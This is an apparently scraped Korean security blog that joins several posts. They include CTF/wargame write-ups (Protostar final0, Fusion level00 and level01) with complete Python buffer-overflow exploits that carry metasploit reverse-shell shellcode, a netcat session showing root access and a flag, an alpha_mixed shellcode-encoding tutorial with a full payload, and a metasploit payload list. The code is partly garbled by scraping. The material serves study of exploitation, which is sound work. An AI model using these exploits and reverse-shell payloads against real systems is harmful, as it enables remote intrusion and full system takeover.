from struct import * from socket import * import time # linux/x86/shell_reverse_tcp - 95 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" "\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" "\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" "\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" "\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" "\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" "\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2") ################################################################### Host = '192.168.0.55' Port = 2995 ################################################################### offset = 532 p = lambda x : pack(',x) s = socket(AF_INET, SOCK_STREAM) s.connect((Host,Port)) print "[*] Sending Exploit code...." exploit = "" exploit = "\x90" * offset exploit = "\x6c\xfc\xff\xbf" # eip exploit = "\x90" * 30 exploit = shellcode s.send(exploit) time.sleep(1) s.close() print "[*] Close Connection."





C:\Users\sweetchip\Desktop>nc -l -p 8080

id

uid=0(root) gid=0(root) groups=0(root)


whoami

root


ls -al /opt/protostar/bin/

total 914

drwxr-xr-x 2 root root 60 May 20 06:34 .

drwxr-xr-x 6 root root 80 Nov 22 2011 ..

-rwsr-xr-x 1 root root 54889 Nov 24 2011 final0

-rwsr-xr-x 1 root root 56773 Nov 24 2011 final1

-rwsr-xr-x 1 root root 79974 Nov 24 2011 final2

-rwx------ 1 root user 16 May 20 06:28 flag

-rwsr-xr-x 1 root root 23017 Nov 24 2011 format0

-rwsr-xr-x 1 root root 22931 Nov 24 2011 format1

-rwsr-xr-x 1 root root 23233 Nov 24 2011 format2

-rwsr-xr-x 1 root root 23409 Nov 24 2011 format3

-rwsr-xr-x 1 root root 23472 Nov 24 2011 format4

-rwsr-xr-x 1 root root 23541 Nov 24 2011 heap0

-rwsr-xr-x 1 root root 23528 Nov 24 2011 heap1

-rwsr-xr-x 1 root root 54838 Nov 24 2011 heap2

-rwsr-xr-x 1 root root 54559 Nov 24 2011 heap3

-rwsr-xr-x 1 root root 54969 Nov 24 2011 net0

-rwsr-xr-x 1 root root 55350 Nov 24 2011 net1

-rwsr-xr-x 1 root root 55036 Nov 24 2011 net2

-rwsr-xr-x 1 root root 57092 Nov 24 2011 net3

-rwsr-xr-x 1 root root 54434 Nov 24 2011 net4

-rwsr-xr-x 1 root root 22412 Nov 24 2011 stack0

-rwsr-xr-x 1 root root 23196 Nov 24 2011 stack1

-rwsr-xr-x 1 root root 23350 Nov 24 2011 stack2

-rwsr-xr-x 1 root root 23130 Nov 24 2011 stack3

-rwsr-xr-x 1 root root 22860 Nov 24 2011 stack4

-rwsr-xr-x 1 root root 22612 Nov 24 2011 stack5

-rwsr-xr-x 1 root root 23331 Nov 24 2011 stack6

-rwsr-xr-x 1 root root 23461 Nov 24 2011 stack7


cat /opt/protostar/bin/flag

This Is Flag !!


Exploit을 성공하고 root 쉘을 획득했다.


신고

댓글 0

20001 포트로 운영되는 프로그램과 소스가 주어졌다.





소스는 level00 과 같은 소스이며 다른점은 ASLR 이 적용되어있다는 것이다.


하지만 NX가 걸려있지 않아 다행히 아직까진 삽질이 불필요해 보인다.


1#include "../common/common.c"  
 2
 3int fix_path(char *path)
 4{
 5  char resolved[128];
 6  
 7  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 8  strcpy(path, resolved); / BOMB!
 9}
10
11char *parse_http_request()
12{
13  char buffer[1024];
14  char *path;
15  char *q;
16
17  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
18
19  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22  path = &buffer[4];
23  q = strchr(path, ' ');
24  if(! q) errx(0, "No protocol version specified");
25  *q++ = 0;
26  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28  fix_path(path);
29
30  printf("trying to access %s\n", path);
31
32  return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37  int fd;
38  char *p;
39
40  background_process(NAME, UID, GID);  
41  fd = serve_forever(PORT);
42  set_io(fd);
43
44  parse_http_request();   

45}



역시나 지난번 취약점과 같다. strcpy는 어디서나 문제다.. ㅠㅠ


aslr이 걸려있어서 지난번 문제보다는 화나지만 그래도 NX가 안걸려 있는게 어디인가..!!


문제는 완전히 지난번 문제와 같으니 오프셋도 같게 하지만 ASLR 때문에 전에 나오던 스택포인터는 쓸모 없게 되엇다.


그러므로 jmp esp 가젯을 사용해서 쉘코드를 향하도록 만들것이다.





from struct import * from socket import * # linux/x86/shell_reverse_tcp - 95 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" "\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" "\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" "\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" "\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" "\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" "\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2") ################################################################### Host = '192.168.0.38' Port = 20001 ################################################################### p = lambda x : pack('<L',x) s = socket(AF_INET, SOCK_STREAM) s.connect((Host,Port)) #print "[!] Server : " + s.recv(1024) print "[*] Sending Exploit code...." exploit = "" exploit += "GET " exploit += "\x90" * 139 exploit += p(0x08049f4f) #jmp esp exploit += p(0x909030eb) #short jmp 0x30 exploit += " HTTP/1.1" exploit += "\x90" * 100 exploit += shellcode s.send(exploit) s.close() print "[*] Close Connection."


페이로드를 복사하면서 EIP를 덮어 씌울것이고 변조된 EIP에 의해 ESP 포인터로 이동된 다음


미리 넣어둔 short jmp 에의해 0x30만큼 점프를 하게 되서 HTTP/1.1 을 넘어가게 되고 NopSled 를 만나게 되고


썰매를 쭈욱 타고 흘러가다가 쉘코드를 만나게 된다.




썰매를 잘 탔나보다.


Exploit에 성공하고 쉘을 획득했다.


저작자 표시 비영리 변경 금지
신고

댓글 0


리눅스 시스템 해킹 공부도 본격적으로 시작하고 있습니다.


요즘.. 정말 정말 갈수록 할일이 많네요..


bob 지원서에 원서준비 학교공부 컴공부.. 그래도 없는것 보단 나은것 같네요..


곧 HDcon도.. ㅋㅋ





포트 20000으로 통신하는 프로그램의 소스와 바이너리가 있는 OS 이미지가 주어졌다.


VM웨어로 실행시키고 NC로 접속해서 풀수 있는 문제이다.


환경은 리눅스며 프로그램 방식은 GET방식의 요청을 받고... 따로 다른 직은 안한다.


하는짓은 그냥 취약점을 터트리는 일만 하는 간단한 프로그램이다.


그렇다면 소스를 보자.


1#include "../common/common.c" 2 3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); // bomb! 9} 10 11char *parse_http_request() 12{ 13 char buffer[1024]; 14 char *path; 15 char *q; 16 17 printf("[debug] buffer is at 0x%08x :-)\n", buffer); 18 19 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); 20 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); 21 22 path = &buffer[4]; 23 q = strchr(path, ' '); 24 if(! q) errx(0, "No protocol version specified"); 25 *q++ = 0; 26 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); 27 28 fix_path(path); 29 30 printf("trying to access %s\n", path); 31 32 return path; 33} 34 35int main(int argc, char **argv, char **envp) 36{ 37 int fd; 38 char *p; 39 40 background_process(NAME, UID, GID); 41 fd = serve_forever(PORT); 42 set_io(fd); 43 44 parse_http_request();  


여기서의 문제는 fix_path에서 발생한다.


역시나 딱보이는데 strcpy는 편의상 쓰긴 하지만 자칫 잘못하면 취약점이 있을수 있는 위험한 함수이다.




직접 서버로 접근해보니 레벨0 답게도 버퍼의 주소까지 친절하게 알려주는 프로그램이다.


실제에서도 있었음 좋겟다.. ㅋㅋ


어쩃든 버퍼가 시작되는 주소는 바로 저곳이다.


저 버퍼에 페이로드와 쉘코드를 eip를 변경할수 있도록 적절하게 넣은다음 strcpy를 지나치면 boom 하면서 원하는 코드로 돌릴수 있을것이다.


이번엔 따로 디버깅 과정을 보여주지는 않을 것이다.


여러가지 정보를 모아서 Exploit을 작성한다



from struct import *
from socket import *

# linux/x86/shell_reverse_tcp - 95 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, 
shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" 
				"\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" 
				"\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" 
				"\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" 
				"\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" 
				"\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" 
				"\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2")
###################################################################
Host = '192.168.0.38'
Port = 20000
###################################################################


p = lambda x : pack('<L',x)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((Host,Port))

print "[!] Server : " + s.recv(1024)
print "[*] Sending Exploit code...."

exploit = ""
exploit += "GET "
exploit += "\x90" * (139-len(shellcode))
exploit += shellcode
exploit += p(0xbfb15bc8+30) #"\xa8\x5c\xb1\xbf"
exploit += " HTTP/1.1"
s.send(exploit)
s.close()

print "[*] Close Connection."


쉘코드는 리버스 쉘코드를 사용했다.



?? 그런데 쉘이 붙지 않는다.


물론 이 프로그램에선 쉘 붙는 부분을 코딩하지 않고 netcat으로 서버를 열어둿지만 붙지 않았다.


그래서 방화벽과 안티바이러스를 꺼보니 잘 붙었다.


그런데 다시 재부팅하고 방화벽, AV가 작동하는상태에서도 쉘이 붙었다.. 뭐지..;


어쨋든.. 끝내 쉘이 붙었다.



흐흐.

저작자 표시 비영리 변경 금지
신고

댓글 0





생에 첫번째 Exploit 관련 문서입니다.


타겟은 윈도우 시스템 해킹에 처음 입문을 시작한 분을 대상으로 만들어본 문서입니다.


고수 님들이 보시기엔 전문 문서가 아닌 완전 기초 문서입니다.


몇년전 발표된 취약점을 찾아보고 exploit을 하는 과정과 코드를 짜는 과정을 문서에 담아 보았습니다.


처음 입문하는 분들에게 많은 도움이 되길 바라며.. :D


잘못된 정보, 태클은 꼭! 알려주시기 바랍니다




6월 4일 추가 - Exploit 예제

다운로드

위 링크가 작동하지 않을 경우 아래 링크를 사용

Basic of Real Wordl Exploit on windows.pdf



신고

Comment 18

  • 2013.05.22 22:42 수정 답글

    비밀댓글입니다

    • 2013.05.23 19:26 신고 수정

      안녕하세요.

      먼저 break point를 설정하는 이유는 그 명령어에 도달하기 바로 직전에 레지스터와 스택등 상황을 보기 위해서입니다.
      42eb10에 먼저 BP를 설정한 이유는 저 부분이 wcscpy를 호출하는 부분이 들어있는 함수이고, 42eb53은 wcscpy를 호출하는 함수 라는 것을 알려드리기 위해서 BP를 설정한 것입니다.

      음.. 설명이 약간.. 그러긴 한데 이해가 안되셧으면 더 질문 해주셔도 좋습니다.

  • 감사합니다.
    2013.05.24 00:11 신고 수정 답글

    문서 재밌게 잘 보았습니다. 저도 한번 실습해봐야겠어요. ^_^ 특히 파이썬 스크립트로 페이로드 값 알아내는 부분이랑 jmp esp 알아내는 부분이 도움이 되었습니다.
    하나 궁금한 것이 있어요~! 댓글을 보니 저도 질문하고 싶었던 부분이었어요~!문서 6페이지를 보면 asx 파일을 로딩시키기 전에 BP를 먼저 거시잖아요..
    wcscpy 함수를 호출하는 부분이라서 BP를 설정하셨다면... 만약 wcscpy 함수가 있는지 없는지 모르는 상황에선 어떻게 BP를 걸 부분을 찾아야 하나요? 에러가 나는 지점까지 F8로 계속 Step over 해서 진행해봐야 하나요??

    • 2013.05.24 17:54 신고 수정

      저의경우 첫번째 단계로 strcpy나 sprintf 같은 취약함수에 BP를 걸고 진행시켜보고 그래도 안되면 windbg로 크래시 나는 모듈을 찾아서 해보고 그래도 안되면 직접 손으로 찾는 편입니다...ㅋㅋ

      저는 저렇게 하구요, 저것 외에도 다른 방법 다양한 것들 있습니다.
      그것은 한번 검색해 보시면 되겠습니다. 감사합니다 :D

  • Fuzzer
    2013.09.19 17:03 신고 수정 답글

    안녕하세요! 실습 중 막히는 부분이 있어서 질문드립니다.

    asx파일을 Immnunity 디버거에서 열면

    "000.asx is probably not a 32-bit Portable Executable. Try to load it anyway?"
    라는 문구가 떠서 그냥 OK를 누르면 open할수 없다고 뜨는데요

    혹시 이런 현상을 겪으셨었나요?
    Immunity에서 따로 설정해주어야 하는 부분이 있나요?
    (OllyDBG에서 마찬가지네요 ㅠ)

    • 2013.09.19 17:11 신고 수정

      저도 그 메세지를 가끔 보긴 햇엇는데 그럴땐 그냥 곰플레이어를 로딩하면 해결되더군요 ㅎㅎ

      저 현상이 아마 asx 파일이 의도치 않게 로딩되서 그런것 같습니다!

  • 2013.09.19 20:19 수정 답글

    비밀댓글입니다

  • Fuzzer
    2013.09.19 21:29 신고 수정 답글

    head1과 head2가 있는데 각각의 역할이 어떤 것인가요?

    이미 pattern을통해 EIP까지 쓰레기값을 태워넣은 것은 알겠는데

    pattern 앞과 뒤에 head1과 head2는 왜 넣는지 궁금합니다~

    • 2013.09.19 23:47 신고 수정

      메모장으로 보시면 글자들이 나오는데, asx 구조 라고 생각하시면 되겠습니다

  • Fuzzer
    2013.09.26 01:01 신고 수정 답글

    공부하다가 궁금한 점이 있는데요 NOP같은 경우 32에서 40으로 늘어났는데 왜 그런지 알수 있을까요?
    그리고 NOP가 중간에 꼭 들어가야 하는 지도 궁금합니다.

    • 2013.09.26 01:23 신고 수정

      음.. 32에서 40으로 넘어간건 이유가 없답니다.. ㅋㅋㅋ
      그리고 쉘코드 앞에 nop을 주지 않아도 되는 쉘코드가 있지만 현재 사용한 쉘코드는 제 기억상으론 쉘코드 루틴을 진행할때 쉘코드의 앞부분을 약간 사용하는것으로 보이는데 nop을 주지 않았을때 코드가 깨질 확률이 약간 존재합니다.
      그래서 적절하게 nop을 주고 실행했습니다. 딱히 주지 않아도 무방할수도 있습니다

  • loginlove
    2013.10.11 20:21 신고 수정 답글

    이거 실습하면서 질문이 있는데요.

    1. Immnity Debugger에서 GOM플레이어를 OPEN 한다.
    2. 0x0042eb10 에 F2를 눌러 브레이크 포인트를 걸어준다.
    3. F9을 눌러 실행한다.
    4. 곰플레이어가 뜨면 거기에 AAAA를 가득 채운 것을 Load 시킨다.


    이렇게 하는게 맞죠?

    그런데 저는 4번을 하고남녀 BreakPoint가 걸리지 않고

    바로 CMP BYTE PTR DS:[ECX],AL 명령어에서 Aceess Violation이 뜨는데요 ㅠㅠ

    혹시 같은 증상을 경험하신 적이 있나요?


    • 2013.10.12 18:13 신고 수정

      음.. 조금더 자세한 정보가 필요할 것 같습니다.
      문서의 버전 체크, 그리고 다른 디버거로 한번 시도해 보세요!

  • loginlove
    2013.10.13 12:23 신고 수정 답글

    다른 XP에서 하니까 되네요 ㅎㅎ

    대체 무슨 문제인지는 아직 잘 모르겠어요

    아무튼

    감사합니다!!

  • min
    2014.04.24 14:58 신고 수정 답글

    문서가 다운로드 안되요 ㅠㅠ

  • min
    2014.04.26 20:44 신고 수정 답글

    감사합니다



쉘코드를 인코딩 하는것을 절실히 느낀것은 이번이 2번째가 되는것 같습니다.


어제까지 모 프로그램의 취약점을 찾으면서 짜증낫던것이 바로 특정 범위를 벗어나면 코드가 손상되는 문제였습니다.


어떡하기 어떡하지.. 하면서 국내 문서를 찾아봤지만 제가 원하는 답은 찾지 못했습니다.


하지만 얼마전 Exploit-db 에서 보던 exploit이 문득 생각났습니다.


그거면 되겠다 해서 바로 찾아냈습니다.


http://www.exploit-db.com/exploits/24919/ HexChat 2.9.4 의 로컬 Exploit의 쉘코드를 살펴보면 ASCII [00 ~ 7f] 영역의 문자만 존재합니다.


사용된 쉘코드

# msfvenom -p windows/messagebox EXITFUNC=process BufferRegister=ESP -e x86/alpha_mixed -f c
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x78\x59\x68\x6b\x6d\x4b\x4b\x69"
"\x44\x34\x64\x64\x59\x64\x74\x71\x78\x52\x6c\x72\x33\x47\x34"
"\x71\x78\x49\x42\x44\x4e\x6b\x50\x71\x50\x30\x4e\x6b\x64\x36"
"\x54\x4c\x4c\x4b\x44\x36\x77\x6c\x4c\x4b\x33\x76\x77\x78\x4c"
"\x4b\x73\x4e\x51\x30\x4e\x6b\x75\x66\x56\x58\x72\x6f\x72\x38"
"\x51\x65\x68\x73\x43\x69\x37\x71\x38\x51\x39\x6f\x58\x61\x73"
"\x50\x4e\x6b\x30\x6c\x36\x44\x77\x54\x6c\x4b\x42\x65\x75\x6c"
"\x6e\x6b\x73\x64\x36\x48\x31\x68\x46\x61\x6a\x4a\x4e\x6b\x52"
"\x6a\x66\x78\x6e\x6b\x73\x6a\x57\x50\x43\x31\x7a\x4b\x6d\x33"
"\x34\x74\x42\x69\x6c\x4b\x47\x44\x4c\x4b\x67\x71\x48\x6e\x74"
"\x71\x6b\x4f\x36\x51\x79\x50\x6b\x4c\x4e\x4c\x4c\x44\x39\x50"
"\x34\x34\x75\x57\x49\x51\x4a\x6f\x36\x6d\x67\x71\x4a\x67\x5a"
"\x4b\x5a\x54\x67\x4b\x71\x6c\x61\x34\x34\x68\x32\x55\x6d\x31"
"\x6e\x6b\x33\x6a\x47\x54\x76\x61\x38\x6b\x71\x76\x4c\x4b\x64"
"\x4c\x52\x6b\x4e\x6b\x71\x4a\x67\x6c\x67\x71\x4a\x4b\x4e\x6b"
"\x74\x44\x4c\x4b\x76\x61\x69\x78\x4e\x69\x62\x64\x66\x44\x47"
"\x6c\x63\x51\x5a\x63\x6e\x52\x33\x38\x61\x39\x69\x44\x6b\x39"
"\x59\x75\x6c\x49\x58\x42\x73\x58\x4e\x6e\x72\x6e\x56\x6e\x58"
"\x6c\x62\x72\x4d\x38\x4f\x6f\x6b\x4f\x69\x6f\x69\x6f\x4f\x79"
"\x61\x55\x75\x54\x6d\x6b\x31\x6e\x4e\x38\x79\x72\x70\x73\x6f"
"\x77\x45\x4c\x45\x74\x70\x52\x39\x78\x6c\x4e\x4b\x4f\x49\x6f"
"\x59\x6f\x6f\x79\x43\x75\x55\x58\x73\x58\x62\x4c\x70\x6c\x51"
"\x30\x77\x31\x53\x58\x67\x43\x54\x72\x66\x4e\x61\x74\x71\x78"
"\x52\x55\x44\x33\x62\x45\x61\x62\x6d\x58\x51\x4c\x75\x74\x57"
"\x7a\x4c\x49\x58\x66\x73\x66\x6b\x4f\x30\x55\x47\x74\x6b\x39"
"\x4f\x32\x72\x70\x4d\x6b\x39\x38\x6d\x72\x72\x6d\x4f\x4c\x4b"
"\x37\x35\x4c\x67\x54\x30\x52\x5a\x48\x75\x31\x39\x6f\x6b\x4f"
"\x39\x6f\x33\x58\x42\x4f\x34\x38\x53\x68\x31\x30\x72\x48\x35"
"\x31\x73\x57\x61\x75\x62\x62\x35\x38\x72\x6d\x72\x45\x54\x33"
"\x62\x53\x54\x71\x69\x4b\x6f\x78\x33\x6c\x75\x74\x54\x4a\x6f"
"\x79\x78\x63\x61\x78\x72\x78\x45\x70\x77\x50\x75\x70\x70\x68"
"\x72\x6d\x50\x53\x37\x36\x77\x51\x70\x68\x43\x42\x30\x6f\x42"
"\x4d\x71\x30\x35\x38\x52\x4f\x66\x4c\x31\x30\x61\x76\x61\x78"
"\x71\x58\x50\x65\x42\x4c\x32\x4c\x55\x61\x5a\x69\x6e\x68\x72"
"\x6c\x61\x34\x44\x50\x4f\x79\x4d\x31\x56\x51\x4b\x62\x33\x62"
"\x61\x43\x46\x31\x52\x72\x39\x6f\x58\x50\x46\x51\x49\x50\x42"
"\x70\x69\x6f\x36\x35\x34\x48\x41\x41"


신기하게도 위 16진수들을 헥스에디터에서 보면


TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxYhkmKKiD4ddYdtqxRlr3G4qxIBDNkPqP0Nkd6TLLKD6wlLK3vwxLKsNQ0NkufVXror8QehsCi7q8Q9oXasPNk0l6DwTlKBeulnksd6H1hFajJNkRjfxnksjWPC1zKm34tBilKGDLKgqHntqkO6QyPkLNLLD9P44uWIQJo6mgqJgZKZTgKqla44h2Um1nk3jGTva8kqvLKdLRkNkqJglgqJKNktDLKvaixNibdfDGlcQZcnR38a9iDk9YulIXBsXNnrnVnXlbrM8OokOioioOyaUuTmk1nN8yrpsowELEtpR9xlNKOIoYooyCuUXsXbLplQ0w1SXgCTrfNatqxRUD3bEabmXQLutWzLIXfsfkO0UGtk9O2rpMk98mrrmOLK75LgT0RZHu19okO9o3XBO48Sh10rH51sWaubb58rmrET3bSTqiKox3lutTJoyxcaxrxEpwPupphrmPS76wQphCB0oBMq058ROfL10avaxqXPeBL2LUaZinhrla4DPOyM1VQKb3baCF1Rr9oXPFQIPBpio654HAA


이러한 문자열이 나옵니다.


실제로 저 문자열이 쉘코드를 인코딩 한 문자열입니다.


옵션을 살펴보면 메세지 박스를 띄우는 쉘코드를 alpha_mixed 로 인코딩을 한것입니다.


alpha_mixed

http://www.metasploit.com/modules/encoder/x86/alpha_mixed <-- 참고



Alpha_Mixed는 인코더중 한개로, 쉘코드를 알파벳 대문자, 소문자 숫자로만 이루어지도록 인코딩을 하는 알고리즘입니다.


몇가지 설정을 맞춰줘야 한다는 단점이 있지만, 유니코드로 강제변환이 되는 특수한 상황을 방지하는 등 장점이 있습니다.


이번에 exploit 한 프로그램은 쉘코드가 0x80이 넘어가는 문자를 만나면 변환이 되고 손상이 되어서 exploit이 쉽지 않았습니다.


며칠간 우회방법을 생각해내다가 이러한 인코더를 만나게 되었는데 이게 구세주가 되었네요..




그런데 이쯤에서.. 아니 이전부터 궁금하시거나 감이 안오는 분이 계실겁니다.


'저런 글자로 뭘 하겠다는 거야?' 라고 생각하시는 분들이 많을거라 생각됩니다.


아니면 어셈블리어에 대한 지식이 있는 분이라면 눈치 채셨을지도 모르겠군요.


저도 처음엔 그랬으니.. 놀라움을 감출수 없었네요.. ㅋㅋ


위 코드는 아니지만 비슷한 코드를 올리디버거에서 확인 했을때의 모습입니다.



코드들을 보면 모두다 00~7f 의 영역 이고 숫자와 알파벳으로만 이루어져 있습니다. [opcode를 보시면 됩니다.]


그리고 012c213B 에서 xor연산으로 복호화를 진행합니다.


복호화가 모두 진행되면 아래와 같이 디코딩 됩니다.



인코딩햇던 원래의 쉘코드가 그대로 등장하게 됩니다 ㅋㅋ


opcode를 살펴보시면 7f가 넘어간 opcode를 보실수 있습니다.


인코딩 방법은 다른 metasploit의 페이로드를 만들때와 같습니다.


평소에 shellcode를 만들떄는 x86/shikata_ga_nai 라는 엑설런트한 인코딩을 사용합니다.


하지만 우리는 가끔 다른 인코더를 써야 할떄가 있고 특별히 이번 포스팅에선 alpha_mixed를 사용해야 하므로 [Metasploit]


set encoder x86/alpha_mixed


라고 입력합니다.


그리고 이 인코더가 약간 쓰이기 어려운 이유중 하나는 조건이 하나 있기 떄문입니다.


그 조건은 바로 '현재 레지스터중 해커가 원하는 대로 조작이 가능한 레지스터가 존재해야한다' 입니다.


alpha_mixed 에서 완벽하게 알파벳과 숫자로 구성된 쉘코드를 생성하려면 'BufferRegister' 라는 옵션을 사용해야 합니다.


만약 저 옵션을 사용하지 않는다면 상위 약 10바이트 이내의 문자는 7f를 넘어가며 쉘코드가 손상될 확률이 커집니다.


BufferRegister 는 '현재 쉘코드가 시작되는 주소를 담고있는 레지스터' 입니다.


간단하게 이 옵션만 맞춰주면 됩니다.


하지만 이 옵션이 안맞춰진 경우 인코딩된 쉘코드는 정상 동작을 하지 않고 오류를 뿜으며 장렬히 다이 합니다.


자, 그렇다면 왜 필요한것일까요..


이유는 012c212d 에 있습니다.


위 쉘코드의 BufferRegister는 쉘코드가 시작되는 주소를 담고있는 레지스터인 ESI로 설정했고


첫번쨰 사진의 011c2114에 의해 push esi로 스택에 값을 저장하고 바로 아래에 pop ecx가 있습니다.


그러므로 ecx의 값은 esi와 같아질것이며, 012c212d의 xor에 의해 [ecx 30]에 위치한 012c2131의 값이 변하게 됩니다.


저 값이 올바르지 않은 값으로 변한다면 쉘코드는 망가질것이고 설사 제대로 된다 해도 아래에 또 ecx를 사용하는 명령어에 의해


쉘코드가 손상될것 입니다.


그러므로 BufferRegister는 '현재 쉘코드가 시작되는 주소를 담고 있는 레지스터' 로 설정을 해줍니다.


맨 위 사진의 경우 저는 ESI가 변조가 가능했고, 그러므로 ESI를 시작주소인 011c2114 로 변조했습니다.


그리고 BufferRegister를 ESI로 설정합니다.


set BufferRegister ESI


그리고 생성을 마치고 생성합니다.



혹시 metasploit으로 쉘코드를 생성할줄 모르는 분이시라면 아래 포스팅부터 먼저 읽으시길 바랍니다.


2013/03/23 - [0x10 정보보안/0x15 System] - Metasploit 을 이용하여 ShellCode를 작성해보자 | 메타스플로잇을 이용해 쉘코드를 작성해보자.


감사합니다.

신고

댓글 0


안녕하세요.


오랜만의 포스팅입니다. ㅎㅎ


개학하고 또 여러가지로 개인적인 일이 많아서 포스팅을 잘 하지 못했습니다.. ㅠㅠ


2달전 쉘코드에 대해 공부를 하면서 여러가지 정보를 수집했는데,


metasploit을 이용하여 Remote Exploit 이나 Local Exploit을 사용하는 방법은 많지만 상대적으로 Shellcode 작성을 하는 방법의 강좌가 적더군요


이번에는 Metasploit을 이용하여 윈도우의 쉘코드를 구하는 방법을 알아보겠습니다.


최대한 쉽게 설명하겠으나 어쩌면 아주 약간의 버퍼 오버플로우와 메모리 구조에 대한 지식이 필요할 수 있습니다.




사전준비물 : BackTrack5 r3[다른 버전도가능], msfconsole[업데이트 필요], apache서버[없어도 됩니다.]


터미널을 열고 msfconsole 을 입력합니다. [로딩 시간이 1~2분 정도 소요됩니다.]



msfconsole이 모두 실행된 상태입니다.


그리고 show payloads 를 입력합니다.



metasploit에서 생성할수 있는 쉘코드는 다음과 같습니다.


Payloads

======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline bsd/sparc/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/sparc/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsd/x86/exec normal BSD Execute Command bsd/x86/metsvc_bind_tcp normal FreeBSD Meterpreter Service, Bind TCP bsd/x86/metsvc_reverse_tcp normal FreeBSD Meterpreter Service, Reverse TCP Inline bsd/x86/shell/bind_ipv6_tcp normal BSD Command Shell, Bind TCP Stager (IPv6) bsd/x86/shell/bind_tcp normal BSD Command Shell, Bind TCP Stager bsd/x86/shell/find_tag normal BSD Command Shell, Find Tag Stager bsd/x86/shell/reverse_ipv6_tcp normal BSD Command Shell, Reverse TCP Stager (IPv6) bsd/x86/shell/reverse_tcp normal BSD Command Shell, Reverse TCP Stager bsd/x86/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/x86/shell_bind_tcp_ipv6 normal BSD Command Shell, Bind TCP Inline (IPv6) bsd/x86/shell_find_port normal BSD Command Shell, Find Port Inline bsd/x86/shell_find_tag normal BSD Command Shell, Find Tag Inline bsd/x86/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsd/x86/shell_reverse_tcp_ipv6 normal BSD Command Shell, Reverse TCP Inline (IPv6) bsdi/x86/shell/bind_tcp normal BSDi Command Shell, Bind TCP Stager bsdi/x86/shell/reverse_tcp normal BSDi Command Shell, Reverse TCP Stager bsdi/x86/shell_bind_tcp normal BSDi Command Shell, Bind TCP Inline bsdi/x86/shell_find_port normal BSDi Command Shell, Find Port Inline bsdi/x86/shell_reverse_tcp normal BSDi Command Shell, Reverse TCP Inline cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd) cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat -e) cmd/unix/bind_netcat_ipv6 normal Unix Command Shell, Bind TCP (via netcat -e) IPv6 cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl) cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6 cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6 